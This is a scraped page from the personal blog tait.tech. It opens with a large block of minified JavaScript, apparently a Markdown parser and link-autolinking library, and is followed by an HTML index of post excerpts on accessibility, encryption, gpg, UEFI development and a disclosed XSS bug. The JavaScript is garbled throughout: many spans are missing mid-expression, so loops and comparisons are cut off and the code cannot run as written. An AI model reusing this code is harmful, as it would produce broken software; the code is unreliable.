t>=97&&t<=122}(o))return!1;if(47===o){if(!(s=e.src.slice(a,u).match(K)))return!1}else if(!(s=e.src.slice(a,u).match(Y)))return!1;if(!0!==J[s[1].toLowerCase()])return!1;if(n)return!0}for(i=t+1;ir)return!1;if(u=t+1,e.tShift[u]=e.eMarks[u])return!1;if(124!==(o=e.src.charCodeAt(i))&&45!==o&&58!==o)return!1;if(s=Q(e,t+1),!/^[-:| ]+$/.test(s))return!1;if((l=s.split("|"))<=2)return!1;for(p=[],a=0;a=0;if(c=t+1,e.isEmpty(c)&&++c>r)return!1;if(e.tShift[c]=e.options.maxNesting)return!1;l=e.tokens.length,e.tokens.push({type:"dl_open",lines:u=[t,0],level:e.level++}),i=t,s=c;e:for(;;){for(b=!0,m=!1,e.tokens.push({type:"dt_open",lines:[i,i],level:e.level++}),e.tokens.push({type:"inline",content:e.getLines(i,i+1,e.blkIndent,!1).trim(),level:e.level+1,lines:[i,i],children:[]}),e.tokens.push({type:"dt_close",level:--e.level});;){if(e.tokens.push({type:"dd_open",lines:a=[c,0],level:e.level++}),d=e.tight,h=e.ddIndent,p=e.blkIndent,g=e.tShift[s],f=e.parentType,e.blkIndent=e.ddIndent=e.tShift[s]+2,e.tShift[s]=o-e.bMarks[s],e.tight=!0,e.parentType="deflist",e.parser.tokenize(e,s,r,!0),e.tight&&!m||(b=!1),m=e.line-s>1&&e.isEmpty(e.line-1),e.tShift[s]=g,e.tight=d,e.parentType=f,e.blkIndent=p,e.ddIndent=h,e.tokens.push({type:"dd_close",level:--e.level}),a[1]=c=e.line,c>=r)break e;if(e.tShift[c]=r)break;if(i=c,e.isEmpty(i))break;if(e.tShift[i]=r)break;if(e.isEmpty(s)&&s++,s>=r)break;if(e.tShift[s]3)){for(o=!1,s=0,i=a.length;s=r))&&!(e.tShift[i]=0&&(e=e.replace(re,function(t,r){var n;return 10===e.charCodeAt(r)?(s=r+1,i=0,t):(n=" ".slice((r-s-i)%4),i=r-s+1,n)})),o=new $(e,this,t,r,n),this.tokenize(o,o.line,o.lineMax)};for(var ie=[],ae=0;ae<256;ae++)ie.push(0);function ue(e){return e>=48&&e<=57||e>=65&&e<=90||e>=97&&e<=122}function le(e,t){var r,n,o,s=t,i=!0,a=!0,u=e.posMax,l=e.src.charCodeAt(t);for(r=t>0?e.src.charCodeAt(t-1):-1;s=u&&(i=!1),(o=s-t)>=4?i=a=!1:(32!==(n=s?@[]^_`{|}~-".split("").forEach(function(e){ie[e.charCodeAt(0)]=1});var ce=/\\([ \\!"#$%&'()*+,.\/:;<=>?@[\]^_`{|}~-])/g;var pe=/\\([ \\!"#$%&'()*+,.\/:;<=>?@[\]^_`{|}~-])/g;var he=["coap","doi","javascript","aaa","aaas","about","acap","cap","cid","crid","data","dav","dict","dns","file","ftp","geo","go","gopher","h323","http","https","iax","icap","im","imap","info","ipp","iris","iris.beep","iris.xpc","iris.xpcs","iris.lwz","ldap","mailto","mid","msrp","msrps","mtqp","mupdate","news","nfs","ni","nih","nntp","opaquelocktoken","pop","pres","rtsp","service","session","shttp","sieve","sip","sips","sms","snmp","soap.beep","soap.beeps","tag","tel","telnet","tftp","thismessage","tn3270","tip","tv","urn","vemmi","ws","wss","xcon","xcon-userid","xmlrpc.beep","xmlrpc.beeps","xmpp","z39.50r","z39.50s","adiumxtra","afp","afs","aim","apt","attachment","aw","beshare","bitcoin","bolo","callto","chrome","chrome-extension","com-eventbrite-attendee","content","cvs","dlna-playsingle","dlna-playcontainer","dtn","dvb","ed2k","facetime","feed","finger","fish","gg","git","gizmoproject","gtalk","hcp","icon","ipn","irc","irc6","ircs","itms","jar","jms","keyparc","lastfm","ldaps","magnet","maps","market","message","mms","ms-help","msnim","mumble","mvn","notes","oid","palm","paparazzi","platform","proxy","psyc","query","res","resource","rmi","rsync","rtmp","secondlife","sftp","sgn","skype","smb","soldat","spotify","ssh","steam","svn","teamspeak","things","udp","unreal","ut2004","ventrilo","view-source","webcal","wtai","wyciwyg","xfire","xri","ymsgr"],fe=/^<([a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*)>/,ge=/^<([a-zA-Z.\-]{1,25}):([^<>\x00-\x20]*)>/;function de(e,t){return e=e.source,t=t||"",function r(n,o){return n?(o=o.source||o,e=e.replace(n,o),r):new RegExp(e,t)}}var me=de(/(?:unquoted|single_quoted|double_quoted)/)("unquoted",/[^"'=<>`\x00-\x20]+/)("single_quoted",/'[^']*'/)("double_quoted",/"[^"]*"/)(),be=de(/(?:\s+attr_name(?:\s*=\s*attr_value)?)/)("attr_name",/[a-zA-Z_:][a-zA-Z0-9:._-]*/)("attr_value",me)(),ve=de(/<[A-Za-z][A-Za-z0-9]*attribute*\s*\/?>/)("attribute",be)(),ke=de(/^(?:open_tag|close_tag|comment|processing|declaration|cdata)/)("open_tag",ve)("close_tag",/<\/[A-Za-z][A-Za-z0-9]*\s*>/)("comment",/|/)("processing",/<[?].*?[?]>/)("declaration",/]*>/)("cdata",//)();var Ae=/^&#((?:x[a-f0-9]{1,8}|[0-9]{1,8}));/i,ye=/^&([a-z][a-z0-9]{1,31});/i;var xe=[["text",function(e,t){for(var r=e.pos;r=0&&32===e.pending.charCodeAt(r))if(r>=1&&32===e.pending.charCodeAt(r-1)){for(var s=r-2;s>=0;s--)if(32!==e.pending.charCodeAt(s)){e.pending=e.pending.substring(0,s+1);break}e.push({type:"hardbreak",level:e.level})}else e.pending=e.pending.slice(0,-1),e.push({type:"softbreak",level:e.level});else e.push({type:"softbreak",level:e.level});for(o++;o=a)return!1;if(126!==e.src.charCodeAt(u+1))return!1;if(e.level>=e.options.maxNesting)return!1;if(s=u>0?e.src.charCodeAt(u-1):-1,i=e.src.charCodeAt(u+2),126===s)return!1;if(126===i)return!1;if(32===i||10===i)return!1;for(n=u+2;nu+3)return e.pos+=n-u,t||(e.pending+=e.src.slice(u,n)),!0;for(e.pos=u+2,o=1;e.pos+1=a)return!1;if(43!==e.src.charCodeAt(u+1))return!1;if(e.level>=e.options.maxNesting)return!1;if(s=u>0?e.src.charCodeAt(u-1):-1,i=e.src.charCodeAt(u+2),43===s)return!1;if(43===i)return!1;if(32===i||10===i)return!1;for(n=u+2;n=a)return!1;if(61!==e.src.charCodeAt(u+1))return!1;if(e.level>=e.options.maxNesting)return!1;if(s=u>0?e.src.charCodeAt(u-1):-1,i=e.src.charCodeAt(u+2),61===s)return!1;if(61===i)return!1;if(32===i||10===i)return!1;for(n=u+2;n=e.options.maxNesting)return!1;for(e.pos=c+r,a=[r];e.pos=o)return!1;if(e.level>=e.options.maxNesting)return!1;for(e.pos=s+1;e.pos=o)return!1;if(e.level>=e.options.maxNesting)return!1;for(e.pos=s+1;e.pos=e.options.maxNesting)return!1;if(r=f+1,(n=D(e,f))<0)return!1;if((a=n+1)=h)return!1;for(f=a,q(e,a)?(s=e.linkContent,a=e.pos):s="",f=a;a=h||41!==e.src.charCodeAt(a))return e.pos=p,!1;a++}else{if(e.linkLevel>0)return!1;for(;a=0?o=e.src.slice(f,a++):a=f-1),o||(void 0===o&&(a=n+1),o=e.src.slice(r,n)),!(u=e.env.references[M(o)]))return e.pos=p,!1;s=u.href,i=u.title}return t||(e.pos=r,e.posMax=n,c?e.push({type:"image",src:s,title:i,alt:e.src.substr(r,n-r),level:e.level}):(e.push({type:"link_open",href:s,title:i,level:e.level++}),e.linkLevel++,e.parser.tokenize(e),e.linkLevel--,e.push({type:"link_close",level:--e.level}))),e.pos=a,e.posMax=h,!0}],["footnote_inline",function(e,t){var r,n,o,s,i=e.posMax,a=e.pos;return!(a+2>=i||94!==e.src.charCodeAt(a)||91!==e.src.charCodeAt(a+1)||e.level>=e.options.maxNesting||(r=a+2,(n=D(e,a+1))<0||(t||(e.env.footnotes||(e.env.footnotes={}),e.env.footnotes.list||(e.env.footnotes.list=[]),o=e.env.footnotes.list.length,e.pos=r,e.posMax=n,e.push({type:"footnote_ref",id:o,level:e.level}),e.linkLevel++,s=e.tokens.length,e.parser.tokenize(e),e.env.footnotes.list[o]={tokens:e.tokens.splice(s)},e.linkLevel--),e.pos=n+1,e.posMax=i,0)))}],["footnote_ref",function(e,t){var r,n,o,s,i=e.posMax,a=e.pos;if(a+3>i)return!1;if(!e.env.footnotes||!e.env.footnotes.refs)return!1;if(91!==e.src.charCodeAt(a))return!1;if(94!==e.src.charCodeAt(a+1))return!1;if(e.level>=e.options.maxNesting)return!1;for(n=a+2;n=i||(n++,r=e.src.slice(a+2,n-1),void 0===e.env.footnotes.refs[":"+r]||(t||(e.env.footnotes.list||(e.env.footnotes.list=[]),e.env.footnotes.refs[":"+r]<0?(o=e.env.footnotes.list.length,e.env.footnotes.list[o]={label:r,count:0},e.env.footnotes.refs[":"+r]=o):o=e.env.footnotes.refs[":"+r],s=e.env.footnotes.list[o].count,e.env.footnotes.list[o].count++,e.push({type:"footnote_ref",id:o,subId:s,level:e.level})),e.pos=n,e.posMax=i,0)))}],["autolink",function(e,t){var r,n,o,s,i,a=e.pos;return!(60!==e.src.charCodeAt(a)||(r=e.src.slice(a)).indexOf(">")<0||((n=r.match(ge))?he.indexOf(n[1].toLowerCase())<0||(i=B(s=n[0].slice(1,-1)),!e.parser.validateLink(s)||(t||(e.push({type:"link_open",href:i,level:e.level}),e.push({type:"text",content:s,level:e.level+1}),e.push({type:"link_close",level:e.level})),e.pos+=n[0].length,0)):!(o=r.match(fe))||(i=B("mailto:"+(s=o[0].slice(1,-1))),!e.parser.validateLink(i)||(t||(e.push({type:"link_open",href:i,level:e.level}),e.push({type:"text",content:s,level:e.level+1}),e.push({type:"link_close",level:e.level})),e.pos+=o[0].length,0))))}],["htmltag",function(e,t){var r,n,o,s=e.pos;return!(!e.options.html||(o=e.posMax,60!==e.src.charCodeAt(s)||s+2>=o||33!==(r=e.src.charCodeAt(s+1))&&63!==r&&47!==r&&!function(e){var t=32|e;return t>=97&&t<=122}(r)||!(n=e.src.slice(s).match(ke))||(t||e.push({type:"htmltag",content:e.src.slice(s,s+n[0].length),level:e.level}),e.pos+=n[0].length,0)))}],["entity",function(e,t){var r,o,s=e.pos,i=e.posMax;if(38!==e.src.charCodeAt(s))return!1;if(s+10)e.pos=r;else{for(t=0;t=s)break}else e.pending+=e.src[e.pos++]}e.pending&&e.pushPending()},we.prototype.parse=function(e,t,r,n){var o=new E(e,this,t,r,n);this.tokenize(o)};var Ee={default:{options:{html:!1,xhtmlOut:!1,breaks:!1,langPrefix:"language-",linkTarget:"",typographer:!1,quotes:"“”‘’",highlight:null,maxNesting:20},components:{core:{rules:["block","inline","references","replacements","smartquotes","references","abbr2","footnote_tail"]},block:{rules:["blockquote","code","fences","footnote","heading","hr","htmlblock","lheading","list","paragraph","table"]},inline:{rules:["autolink","backticks","del","emphasis","entity","escape","footnote_ref","htmltag","links","newline","text"]}}},full:{options:{html:!1,xhtmlOut:!1,breaks:!1,langPrefix:"language-",linkTarget:"",typographer:!1,quotes:"“”‘’",highlight:null,maxNesting:20},components:{core:{},block:{},inline:{}}},commonmark:{options:{html:!0,xhtmlOut:!0,breaks:!1,langPrefix:"language-",linkTarget:"",typographer:!1,quotes:"“”‘’",highlight:null,maxNesting:20},components:{core:{rules:["block","inline","references","abbr2"]},block:{rules:["blockquote","code","fences","heading","hr","htmlblock","lheading","list","paragraph"]},inline:{rules:["autolink","backticks","emphasis","entity","escape","htmltag","links","newline","text"]}}}};function De(e,t,r){this.src=t,this.env=r,this.options=e.options,this.tokens=[],this.inlineMode=!1,this.inline=e.inline,this.block=e.block,this.renderer=e.renderer,this.typographer=e.typographer}function _e(e,t){"string"!=typeof e&&(t=e,e="default"),t&&null!=t.linkify&&console.warn("linkify option is removed. Use linkify plugin instead:\n\nimport Remarkable from 'remarkable';\nimport linkify from 'remarkable/linkify';\nnew Remarkable().use(linkify)\n"),this.inline=new we,this.block=new te,this.core=new G,this.renderer=new w,this.ruler=new C,this.options={},this.configure(Ee[e]),this.set(t||{})}function Be(e,t){if(Array.prototype.indexOf)return e.indexOf(t);for(var r=0,n=e.length;r=0;r--)!0===t(e[r])&&e.splice(r,1)}function Fe(e){throw new Error("Unhandled case for value: '"+e+"'")}_e.prototype.set=function(e){i(this.options,e)},_e.prototype.configure=function(e){var t=this;if(!e)throw new Error("Wrong `remarkable` preset, check name/content");e.options&&t.set(e.options),e.components&&Object.keys(e.components).forEach(function(r){e.components[r].rules&&t[r].ruler.enable(e.components[r].rules,!0)})},_e.prototype.use=function(e,t){return e(this,t),this},_e.prototype.parse=function(e,t){var r=new De(this,e,t);return this.core.process(r),r.tokens},_e.prototype.render=function(e,t){return t=t||{},this.renderer.render(this.parse(e,t),this.options,t)},_e.prototype.parseInline=function(e,t){var r=new De(this,e,t);return r.inlineMode=!0,this.core.process(r),r.tokens},_e.prototype.renderInline=function(e,t){return t=t||{},this.renderer.render(this.parseInline(e,t),this.options,t)};var Me=function(){function e(e){void 0===e&&(e={}),this.tagName="",this.attrs={},this.innerHTML="",this.whitespaceRegex=/\s+/,this.tagName=e.tagName||"",this.attrs=e.attrs||{},this.innerHTML=e.innerHtml||e.innerHTML||""}return e.prototype.setTagName=function(e){return this.tagName=e,this},e.prototype.getTagName=function(){return this.tagName||""},e.prototype.setAttr=function(e,t){return this.getAttrs()[e]=t,this},e.prototype.getAttr=function(e){return this.getAttrs()[e]},e.prototype.setAttrs=function(e){return Object.assign(this.getAttrs(),e),this},e.prototype.getAttrs=function(){return this.attrs||(this.attrs={})},e.prototype.setClass=function(e){return this.setAttr("class",e)},e.prototype.addClass=function(e){for(var t,r=this.getClass(),n=this.whitespaceRegex,o=r?r.split(n):[],s=e.split(n);t=s.shift();)-1===Be(o,t)&&o.push(t);return this.getAttrs().class=o.join(" "),this},e.prototype.removeClass=function(e){for(var t,r=this.getClass(),n=this.whitespaceRegex,o=r?r.split(n):[],s=e.split(n);o.length&&(t=s.shift());){var i=Be(o,t);-1!==i&&o.splice(i,1)}return this.getAttrs().class=o.join(" "),this},e.prototype.getClass=function(){return this.getAttrs().class||""},e.prototype.hasClass=function(e){return-1!==(" "+this.getClass()+" ").indexOf(" "+e+" ")},e.prototype.setInnerHTML=function(e){return this.innerHTML=e,this},e.prototype.setInnerHtml=function(e){return this.setInnerHTML(e)},e.prototype.getInnerHTML=function(){return this.innerHTML||""},e.prototype.getInnerHtml=function(){return this.getInnerHTML()},e.prototype.toAnchorString=function(){var e=this.getTagName(),t=this.buildAttrsStr();return["<",e,t=t?" "+t:"",">",this.getInnerHtml(),""].join("")},e.prototype.buildAttrsStr=function(){if(!this.attrs)return"";var e=this.getAttrs(),t=[];for(var r in e)e.hasOwnProperty(r)&&t.push(r+'="'+e[r]+'"');return t.join(" ")},e}();var Se=function(){function e(e){void 0===e&&(e={}),this.newWindow=!1,this.truncate={},this.className="",this.newWindow=e.newWindow||!1,this.truncate=e.truncate||{},this.className=e.className||""}return e.prototype.build=function(e){return new Me({tagName:"a",attrs:this.createAttrs(e),innerHtml:this.processAnchorText(e.getAnchorText())})},e.prototype.createAttrs=function(e){var t={href:e.getAnchorHref()},r=this.createCssClass(e);return r&&(t.class=r),this.newWindow&&(t.target="_blank",t.rel="noopener noreferrer"),this.truncate&&this.truncate.length&&this.truncate.length=a)return u.host.length==t?(u.host.substr(0,t-o)+r).substr(0,a+n):i(c,a).substr(0,a+n);var p="";if(u.path&&(p+="/"+u.path),u.query&&(p+="?"+u.query),p){if((c+p).length>=a)return(c+p).length==t?(c+p).substr(0,t):(c+i(p,a-c.length)).substr(0,a+n);c+=p}if(u.fragment){var h="#"+u.fragment;if((c+h).length>=a)return(c+h).length==t?(c+h).substr(0,t):(c+i(h,a-c.length)).substr(0,a+n);c+=h}if(u.scheme&&u.host){var f=u.scheme+"://";if((c+f).length0&&(g=c.substr(-1*Math.floor(a/2))),(c.substr(0,Math.ceil(a/2))+r+g).substr(0,a+n)}(e,r):"middle"===n?function(e,t,r){if(e.length<=t)return e;var n,o;null==r?(r="…",n=8,o=3):(n=r.length,o=r.length);var s=t-o,i="";return s>0&&(i=e.substr(-1*Math.floor(s/2))),(e.substr(0,Math.ceil(s/2))+r+i).substr(0,s+n)}(e,r):function(e,t,r){return function(e,t,r){var n;return e.length>t&&(null==r?(r="…",n=3):n=r.length,e=e.substring(0,t-n)+r),e}(e,t,r)}(e,r)},e}(),Te=function(){function e(e){this.__jsduckDummyDocProp=null,this.matchedText="",this.offset=0,this.tagBuilder=e.tagBuilder,this.matchedText=e.matchedText,this.offset=e.offset}return e.prototype.getMatchedText=function(){return this.matchedText},e.prototype.setOffset=function(e){this.offset=e},e.prototype.getOffset=function(){return this.offset},e.prototype.getCssClassSuffixes=function(){return[this.getType()]},e.prototype.buildTag=function(){return this.tagBuilder.build(this)},e}(),Le=function(e,t){return(Le=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var r in t)t.hasOwnProperty(r)&&(e[r]=t[r])})(e,t)};function Re(e,t){function r(){this.constructor=e}Le(e,t),e.prototype=null===t?Object.create(t):(r.prototype=t.prototype,new r)}var Ne=function(){return(Ne=Object.assign||function(e){for(var t,r=1,n=arguments.length;r-1},e.isValidUriScheme=function(e){var t=e.match(this.uriSchemeRegex),r=t&&t[0].toLowerCase();return"javascript:"!==r&&"vbscript:"!==r},e.urlMatchDoesNotHaveProtocolOrDot=function(e,t){return!(!e||t&&this.hasFullProtocolRegex.test(t)||-1!==e.indexOf("."))},e.urlMatchDoesNotHaveAtLeastOneWordChar=function(e,t){return!(!e||!t)&&!this.hasWordCharAfterProtocolRegex.test(e)},e.hasFullProtocolRegex=/^[A-Za-z][-.+A-Za-z0-9]*:\/\//,e.uriSchemeRegex=/^[A-Za-z][-.+A-Za-z0-9]*:/,e.hasWordCharAfterProtocolRegex=new RegExp(":[^\\s]*?["+We+"]"),e.ipRegex=/[0-9][0-9]?[0-9]?\.[0-9][0-9]?[0-9]?\.[0-9][0-9]?[0-9]?\.[0-9][0-9]?[0-9]?(:[0-9]*)?\/?$/,e}(),ut=function(e){function t(t){var r,n=e.call(this,t)||this;return n.stripPrefix={scheme:!0,www:!0},n.stripTrailingSlash=!0,n.decodePercentEncoding=!0,n.matcherRegex=(r=new RegExp("[/?#](?:["+Qe+"\\-+&@#/%=~_()|'$*\\[\\]?!:,.;✓]*["+Qe+"\\-+&@#/%=~_()|'$*\\[\\]✓])?"),new RegExp(["(?:","(",/(?:[A-Za-z][-.+A-Za-z0-9]{0,63}:(?![A-Za-z][-.+A-Za-z0-9]{0,63}:\/\/)(?!\d+\/?)(?:\/\/)?)/.source,rt(2),")","|","(","(//)?",/(?:www\.)/.source,rt(6),")","|","(","(//)?",rt(10)+"\\.",ot.source,"(?![-"+Ke+"])",")",")","(?::[0-9]+)?","(?:"+r.source+")?"].join(""),"gi")),n.wordCharRegExp=new RegExp("["+Qe+"]"),n.stripPrefix=t.stripPrefix,n.stripTrailingSlash=t.stripTrailingSlash,n.decodePercentEncoding=t.decodePercentEncoding,n}return Re(t,e),t.prototype.parseMatches=function(e){for(var t,r=this.matcherRegex,n=this.stripPrefix,o=this.stripTrailingSlash,s=this.decodePercentEncoding,i=this.tagBuilder,a=[],u=function(){var r=t[0],u=t[1],c=t[4],p=t[5],h=t[9],f=t.index,g=p||h,d=e.charAt(f-1);if(!at.isValid(r,u))return"continue";if(f>0&&"@"===d)return"continue";if(f>0&&g&&l.wordCharRegExp.test(d))return"continue";if(/\?$/.test(r)&&(r=r.substr(0,r.length-1)),l.matchHasUnbalancedClosingParen(r))r=r.substr(0,r.length-1);else{var m=l.matchHasInvalidCharAfterTld(r,u);m>-1&&(r=r.substr(0,m))}var b=["http://","https://"].find(function(e){return!!u&&-1!==u.indexOf(e)});if(b){var v=r.indexOf(b);r=r.substr(v),u=u.substr(v),f+=v}var k=u?"scheme":c?"www":"tld",A=!!u;a.push(new Oe({tagBuilder:i,matchedText:r,offset:f,urlMatchType:k,url:r,protocolUrlMatch:A,protocolRelativeMatch:!!g,stripPrefix:n,stripTrailingSlash:o,decodePercentEncoding:s}))},l=this;null!==(t=r.exec(e));)u();return a},t.prototype.matchHasUnbalancedClosingParen=function(e){var t,r=e.charAt(e.length-1);if(")"===r)t="(";else{if("]"!==r)return!1;t="["}for(var n=0,o=0,s=e.length-1;o"===e?(h=new ft(Ne({},h,{name:P()})),z()):He.test(e)||Ve.test(e)||":"===e||R()}function b(e){">"===e?R():He.test(e)?c=3:R()}function v(e){Ge.test(e)||("/"===e?c=12:">"===e?z():"<"===e?N():"="===e||$e.test(e)||Ze.test(e)?R():c=5)}function k(e){Ge.test(e)?c=6:"/"===e?c=12:"="===e?c=7:">"===e?z():"<"===e?N():$e.test(e)&&R()}function A(e){Ge.test(e)||("/"===e?c=12:"="===e?c=7:">"===e?z():"<"===e?N():$e.test(e)?R():c=5)}function y(e){Ge.test(e)||('"'===e?c=8:"'"===e?c=9:/[>=`]/.test(e)?R():"<"===e?N():c=10)}function x(e){'"'===e&&(c=11)}function w(e){"'"===e&&(c=11)}function C(e){Ge.test(e)?c=4:">"===e?z():"<"===e&&N()}function E(e){Ge.test(e)?c=4:"/"===e?c=12:">"===e?z():"<"===e?N():(c=4,u--)}function D(e){">"===e?(h=new ft(Ne({},h,{isClosing:!0})),z()):c=4}function _(t){"--"===e.substr(u,2)?(u+=2,h=new ft(Ne({},h,{type:"comment"})),c=14):"DOCTYPE"===e.substr(u,7).toUpperCase()?(u+=7,h=new ft(Ne({},h,{type:"doctype"})),c=20):R()}function B(e){"-"===e?c=15:">"===e?R():c=16}function q(e){"-"===e?c=18:">"===e?R():c=16}function F(e){"-"===e&&(c=17)}function M(e){c="-"===e?18:16}function S(e){">"===e?z():"!"===e?c=19:"-"===e||(c=16)}function T(e){"-"===e?c=17:">"===e?z():c=16}function L(e){">"===e?z():"<"===e&&N()}function R(){c=0,h=a}function N(){c=1,h=new ft({idx:u})}function z(){var t=e.slice(p,h.idx);t&&o(t,p),"comment"===h.type?s(h.idx):"doctype"===h.type?i(h.idx):(h.isOpening&&r(h.name,h.idx),h.isClosing&&n(h.name,h.idx)),R(),p=u+1}function P(){var t=h.idx+(h.isClosing?2:1);return e.slice(t,u).toLowerCase()}p=0&&n++},onText:function(e,r){if(0===n){var s=function(e,t){if(!t.global)throw new Error("`splitRegex` must have the 'g' flag set");for(var r,n=[],o=0;r=t.exec(e);)n.push(e.substring(o,r.index)),n.push(r[0]),o=r.index+r[0].length;return n.push(e.substring(o)),n}(e,/( | |<|<|>|>|"|"|')/gi),i=r;s.forEach(function(e,r){if(r%2==0){var n=t.parseText(e,i);o.push.apply(o,n)}i+=e.length})}},onCloseTag:function(e){r.indexOf(e)>=0&&(n=Math.max(n-1,0))},onComment:function(e){},onDoctype:function(e){}}),o=this.compactMatches(o),o=this.removeUnwantedMatches(o)},e.prototype.compactMatches=function(e){e.sort(function(e,t){return e.getOffset()-t.getOffset()});for(var t=0;to?t:t+1;e.splice(i,1);continue}e[t+1].getOffset()/i.test(e)}function bt(){var e=[],t=new gt({stripPrefix:!1,url:!0,email:!0,replaceFn:function(t){switch(t.getType()){case"url":e.push({text:t.matchedText,url:t.getUrl()});break;case"email":e.push({text:t.matchedText,url:"mailto:"+t.getEmail().replace(/^mailto:/i,"")})}return!1}});return{links:e,autolinker:t}}function vt(e){var t,r,n,o,s,i,a,u,l,c,p,h,f,g,d=e.tokens,m=null;for(r=0,n=d.length;r=0;t--)if("link_close"!==(s=o[t]).type){if("htmltag"===s.type&&(g=s.content,/^\s]/i.test(g)&&p>0&&p--,mt(s.content)&&p++),!(p>0)&&"text"===s.type&&dt.test(s.content)){if(m||(h=(m=bt()).links,f=m.autolinker),i=s.content,h.length=0,f.link(i),!h.length)continue;for(a=[],c=s.level,u=0;u + + + + Blog | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +

    Blog

    + +
    +
    +

    + New Company +

    + +
    +

    In my accidental quest to create accessible diagrams to a computer science student I have been contracting for, +I found in the post-secondary field a massive lack of care given to the topic of accessible diagrams, +even when they are relatively easy to create. +For example, a binary tree, or any tree structure actually has native aria-role attributes to alert a screen reader to the presence of a tree object. +A tree is only a list of lists after all.

    +
    +
    + +
    +
    +

    + How To Produce Semantically Correct MathML From XaTeX/LaTeX (and other accessibility ideas) +

    + +
    +

    During a recent run-in with the Simon Fraser Fraser University accessibility department, +I learned that they’re writers are so well-trained as to write “image” where a simple diagram is shown, +and “print out picture of output” where a piece of code lies. +I figure the geniuses over there could use some help creating files for the visually impaired. +Here’s a quick guide!

    +
    +
    + +
    +
    +

    + Idea For A VPN Service +

    + +
    +

    Recently I’ve been thinking about starting a VPN service. +This service has some interesting requirements that I have never seen a VPN service do before, so I’d like to put down my thoughts as to what might be sensible for a centralized yet encrypted* VPN service.

    +
    +
    + + + +
    +
    +

    + Pinebook Pro, The Ultimate ARM Laptop +

    + +
    +

    I recently got my Pinebook Pro. +It was more expensive than I was expecting, coming in at (including shipping and handling) C$335. +I always forget the exchange rate and assume it’s similar to the U.S. dollar, but it never is, haha! +Anyway, this is just my first impressions and what I did to fix a few issues.

    +
    +
    + +
    +
    +

    + UEFI Development On x86 With EDK2 +

    + +
    +

    I made this blog so I could remember how to do stuff that had instructions spread around the internet. +So here is how I setup my environment for developing EFI applications.

    +
    +
    + + + +
    +
    +

    + Lichess Accessibility +

    + +
    +

    I wanted to play chess with somebody who used a screen reader, without requiring a screen reader myself; +some sites, like QuintenC’s Playroom have a rather poor visual interface for anyone who would like the play the game visually. +Lichess is an free and open-source website for chess players; +it bridges this gap by having two “modes” on the site: +standard mode and accessibility mode.

    +
    +
    + + + +
    +
    +

    + Orca, Emacspeak and Chromium Accessibility on A Raspberry Pi Running Manjaro ARM +

    + +
    +

    I wanted to get a gift for my blind friend who has been interested in learning Linux for a while now. +Just when I was about to start looking for something I decided to take a look at Brian Lunduke’s newest video featuring the Raspberry Pi 400. +The Raspberry Pi 400 has come full circle in terms of computing. +It is a keyboard. All the computing is done from within the keyboard. +Much like the Comodore64, this computer comes without a screen but is still technically fully functional without one. +I had my ‘Aha!’ moment, and decided that the Raspberry Pi 400 would be a very cool present.

    +
    +
    + + + + + +
    +
    +

    + Curiosity +

    + +
    +

    Curiosity is fundamental to a deep understanding of any subject. +Masters, Ph.Ds, and other fancy name suffixes will never help you +if you don’t have the spirit of curiosity burning inside of you.

    +
    +
    + +
    +
    +

    + Minesweeper Bomb Generation And Tile Revealing +

    + +
    +

    When I was creating a little Minesweeper game, I got confused at some points. +My bomb generation didn’t look quite right, and I for sure didn’t quite get the whole cascading tile reveal thing. +With a bit of internet research, I found what I was looking for. +I’ll explain it all in one place for my own research purposes.

    +
    +
    + + + +
    +
    +

    + How to Solve The Django Deployment Puzzle +

    + +
    +

    A few days ago I had a Django project I wanted to put on a real server. +This project is still in its infancy, but I thought it would be nice to put it on my resume and show my friends. +Little did I know the headache coming my way. +Here are some tips to help you not make the same mistakes as me.

    +
    +
    + +
    +
    +

    + BSD Journey, Part 1 +

    + +
    +

    As Linux becomes controlled by corporate sponsors and becomes more full of proprietary blobs, drivers, and even closed-source software like Steam, +One may wonder if there are other options out there. +For me, somebody that is intensely interested in security, there is one option: OpenBSD.

    +
    +
    + +
    +
    +

    + Know How Your Representative Votes In Parliament +

    + +
    +

    As an advocate for openness, I had an idea to make a project out of the government of Canada’s Open Data +initiative to take a look at how my local MP voted on various pieces of legislation. +It turns out though that this was not necessary due to how easy it was to find this information on the government’s own website. +In this article, I will explain how you can do the same.

    +
    +
    + +
    +
    +

    + Installing MultiCraft on Gentoo Linux +

    + +
    +

    In a very odd combination of requirements, +I needed to install MultiCraft on a Gentoo Linux system. +The PHP USE flags are important so you don’t have to recompile it three times like I did.

    +
    +
    + +
    +
    +

    + Independence +

    + +
    +
    +

    “When given a choice between independence and dependence, always choose independence; you will never regret that choice!”—Luke Smith

    +
    +
    +
    + +
    +
    +

    + How to use tmux to send and receive things from your Minecraft server +

    + +
    +

    So recently I had problem. +I run a Minecraft server on a big Linux computer I have running in my room. +Now, as a system administrator it is very helpful to be able to run some simple commands without needing to login with my key, password, TFA, etc. +It is, frankly, a lot of work. +Especially when I really just want to be playing games but I just need to check something quickly.

    +
    +
    + +
    +
    +

    + Site Update +

    + +
    +

    I updated the site with some easier to identify information about me and my projects :)

    +
    +
    + +
    +
    +

    + New Game: Clue (coming soon) +

    + +
    +

    Ooo! Exciting! +Today I want to announce a new project I’ll be working on which should be live within the month of May: +Clue.

    +
    +
    + + + +
    +
    +

    + What is XSS? +

    + +
    +

    I found a cross-site scripting (XSS) attack +in a well-known quiz hosting website. +I disclosed the vulnerability to them years ago, so I thought +now might be a good time to write about it.

    +
    +
    + + + + + +
    +
    +

    + How To Encrypt Your Own Documents Using gpg +

    + +
    +

    If you have ever wanted to garuntee the utmost security of your emails and documents, then this is the guide for you! +It should be noted that in some circles the tools used are more common than in others. +These are the everyday tools of many privacy advocates and computer nerds.

    +
    +
    + + + +
    +
    +

    + How Does Encryption Work, in Theory? +

    + +
    +

    There are many kinds of encryption used in our everyday communication. Online and offline, over the internet and in person. In this article, I will explain the basics of how encryption should work in theory. I explain in this article why encryption is important, and why you should care about it.

    +
    +
    + +
    +
    +

    + Is Encryption Worth It? +

    + +
    +

    What is the most embarassing thing you have typed into Google search? What is the most personal secret you told a friend in confidence? What is your bank password? What is your business’s secret to stay ahead of the competition?

    +
    +
    + +
    +
    +

    + Padding And Margin +

    + +
    +

